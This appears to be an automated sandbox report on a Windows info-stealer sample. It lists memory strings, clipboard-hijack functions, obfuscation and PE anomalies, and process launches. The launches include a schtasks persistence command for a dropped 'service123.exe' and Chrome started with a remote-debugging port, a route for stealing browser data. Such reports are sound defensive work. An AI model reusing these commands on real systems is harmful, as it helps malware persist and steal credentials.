Source: chrome.exe, 00000004.00000002.2091005991.00002C7C00E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2071784044.00002C7C00A34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2090982158.00002C7C00E40000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000004.00000003.2071784044.00002C7C00A34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2090982158.00002C7C00E40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2090800941.00002C7C00DC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2091029870.00002C7C00E58000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000004.00000002.2091005991.00002C7C00E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2071784044.00002C7C00A34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2090982158.00002C7C00E40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2090800941.00002C7C00DC0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000004.00000002.2087332896.00002C7C004BC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 00000004.00000002.2089180158.00002C7C009DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000004.00000002.2089180158.00002C7C009DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000004.00000002.2085677506.00002C7C00078000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000004.00000002.2085832041.00002C7C000B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000004.00000002.2086244938.00002C7C001C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000004.00000002.2088507173.00002C7C0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2087332896.00002C7C004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2088423465.00002C7C007C0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000004.00000002.2088507173.00002C7C0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2087332896.00002C7C004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2088423465.00002C7C007C0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000004.00000002.2089314216.00002C7C00A40000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000004.00000002.2086244938.00002C7C001C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tasks.googleapis.com/
Source: chrome.exe, 00000004.00000002.2088956353.00002C7C00978000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ww.google.com/
Source: chrome.exe, 00000004.00000002.2087834065.00002C7C0061C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000004.00000002.2089865854.00002C7C00BAC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000004.00000002.2089865854.00002C7C00BAC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000004.00000002.2089865854.00002C7C00BAC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000004.00000002.2088660150.00002C7C00880000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2087834065.00002C7C0061C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000004.00000003.2072210682.00002C7C00CBC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000004.00000002.2088540678.00002C7C0081C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000004.00000002.2088630859.00002C7C00860000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2088925155.00002C7C0095C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2086244938.00002C7C001C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000004.00000002.2088630859.00002C7C00860000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2088925155.00002C7C0095C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2086244938.00002C7C001C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000004.00000002.2088980640.00002C7C00988000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=
Source: chrome.exe, 00000004.00000002.2089865854.00002C7C00BAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2088159651.00002C7C0071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2087392910.00002C7C004EC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000004.00000002.2088159651.00002C7C0071C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoenterInsights
Source: chrome.exe, 00000004.00000002.2087332896.00002C7C004BC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000004.00000002.2089338767.00002C7C00A4C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000004.00000002.2085452399.00002C7C0001C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000004.00000002.2086311696.00002C7C0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000004.00000002.2086311696.00002C7C0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000004.00000002.2086311696.00002C7C0020C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2087753813.00002C7C005DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000004.00000002.2090049101.00002C7C00C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2086311696.00002C7C0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000004.00000002.2087332896.00002C7C004BC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000004.00000002.2087436370.00002C7C00538000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2058698160.00002C7C00550000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000004.00000002.2087436370.00002C7C00538000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2058698160.00002C7C00550000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000004.00000002.2087436370.00002C7C00538000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2058698160.00002C7C00550000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000004.00000002.2087245170.00002C7C00488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2087436370.00002C7C00538000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2058698160.00002C7C00550000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: unknown Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49747
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0E9C22 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 8_2_6C0E9C22
Contains functionality to modify clipboard data
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0E9C22 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 8_2_6C0E9C22
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0E9D11 OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 8_2_6C0E9D11
Contains functionality to read the clipboard data
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0E9E27 GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 8_2_6C0E9E27

System Summary
barindex
Drops large PE files
Source: C:\Users\user\Desktop\file.exe File dump: service123.exe.0.dr 314617856 Jump to dropped file
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .rsrc
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Abnormal high CPU Usage
Source: C:\Users\user\Desktop\file.exe Process Stats: CPU usage > 49%
Detected potential crypto function
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_018CE58A 0_3_018CE58A
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_004651B0 8_2_004651B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_00463E20 8_2_00463E20
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C112CCE 8_2_6C112CCE
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0DCD00 8_2_6C0DCD00
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0DEE50 8_2_6C0DEE50
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0E0FC0 8_2_6C0E0FC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C120AC0 8_2_6C120AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0E44F0 8_2_6C0E44F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1146E0 8_2_6C1146E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1107D0 8_2_6C1107D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1087C0 8_2_6C1087C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C120060 8_2_6C120060
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C112090 8_2_6C112090
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C102360 8_2_6C102360
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C12DC70 8_2_6C12DC70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0E5880 8_2_6C0E5880
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1098F0 8_2_6C1098F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C117A20 8_2_6C117A20
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C11DBEE 8_2_6C11DBEE
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C11140E 8_2_6C11140E
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C121510 8_2_6C121510
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C11F610 8_2_6C11F610
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0FF760 8_2_6C0FF760
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0D3000 8_2_6C0D3000
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1950D0 8_2_6C1950D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0E70C0 8_2_6C0E70C0
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\service123.exe 05466AC3A1F09726E552D0CBF3BAC625A7EB7944CEDF812F60B066DCBD74AFB1
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C1A3B20 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C1A36E0 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C19ADB0 appears 49 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C1A3820 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C1A5A70 appears 77 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C1A5980 appears 83 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C1A3560 appears 43 times
One or more processes crash
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7500 -s 1836
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: file.exe Static PE information: Section: ozcvkfvj ZLIB complexity 0.9943587005395683
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@20/7@10/4
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\DGdQGkLyQR Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Mutant created: \Sessions\1\BaseNamedObjects\JStVXPURjEhqLJtWBhCN
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6696:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7500
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: chrome.exe, 00000004.00000002.2087436370.00002C7C00538000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: file.exe ReversingLabs: Detection: 36%
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2144,i,17002288862588323597,13941596843949816607,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7500 -s 1836
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: C:\Users\user\Desktop\file.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2144,i,17002288862588323597,13941596843949816607,262144 /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: unmycipohmxnjqoesrey.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: unmycipohmxnjqoesrey.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: unmycipohmxnjqoesrey.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: unmycipohmxnjqoesrey.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: unmycipohmxnjqoesrey.dll Jump to behavior
Source: file.exe Static file information: File size 4380672 > 1048576
Source: file.exe Static PE information: Raw size of is bigger than: 0x100000 < 0x277800
Source: file.exe Static PE information: Raw size of ozcvkfvj is bigger than: 0x100000 < 0x1b2600
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_00468230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError, 8_2_00468230
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: file.exe Static PE information: real checksum: 0x431304 should be: 0x43d349
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .rsrc
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: ozcvkfvj
Source: file.exe Static PE information: section name: iubdojmz
Source: file.exe Static PE information: section name: .taggant
Source: service123.exe.0.dr Static PE information: section name: .eh_fram
Source: unmYCIPOHmXNjqOesrEy.dll.0.dr Static PE information: section name: .eh_fram
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_0046A499 push es; iretd 8_2_0046A694
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C180C30 push eax; mov dword ptr [esp], edi 8_2_6C180DAA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C14ED10 push eax; mov dword ptr [esp], ebx 8_2_6C14EE33
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C124E31 push eax; mov dword ptr [esp], ebx 8_2_6C124E45
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C118E7A push edx; mov dword ptr [esp], ebx 8_2_6C118E8E
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C11A947 push eax; mov dword ptr [esp], ebx 8_2_6C11A95B
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C14EAB0 push eax; mov dword ptr [esp], ebx 8_2_6C14EBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C120AA2 push eax; mov dword ptr [esp], ebx 8_2_6C120AB6
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C138AA0 push eax; mov dword ptr [esp], ebx 8_2_6C13909F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C122AAC push edx; mov dword ptr [esp], ebx 8_2_6C122AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C152BF0 push eax; mov dword ptr [esp], ebx 8_2_6C152F24
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C152BF0 push edx; mov dword ptr [esp], ebx 8_2_6C152F43
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C118435 push edx; mov dword ptr [esp], ebx 8_2_6C118449
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C138460 push eax; mov dword ptr [esp], ebx 8_2_6C138A5F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C11048B push eax; mov dword ptr [esp], ebx 8_2_6C1104A1
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1104E0 push eax; mov dword ptr [esp], ebx 8_2_6C1106DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0F1CFA push eax; mov dword ptr [esp], ebx 8_2_6C1A6622
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0F1CFA push eax; mov dword ptr [esp], ebx 8_2_6C1A6622
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C11A5A7 push eax; mov dword ptr [esp], ebx 8_2_6C11A5BB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C152620 push eax; mov dword ptr [esp], ebx 8_2_6C152954
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C152620 push edx; mov dword ptr [esp], ebx 8_2_6C152973
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1606B0 push eax; mov dword ptr [esp], ebx 8_2_6C160A4F
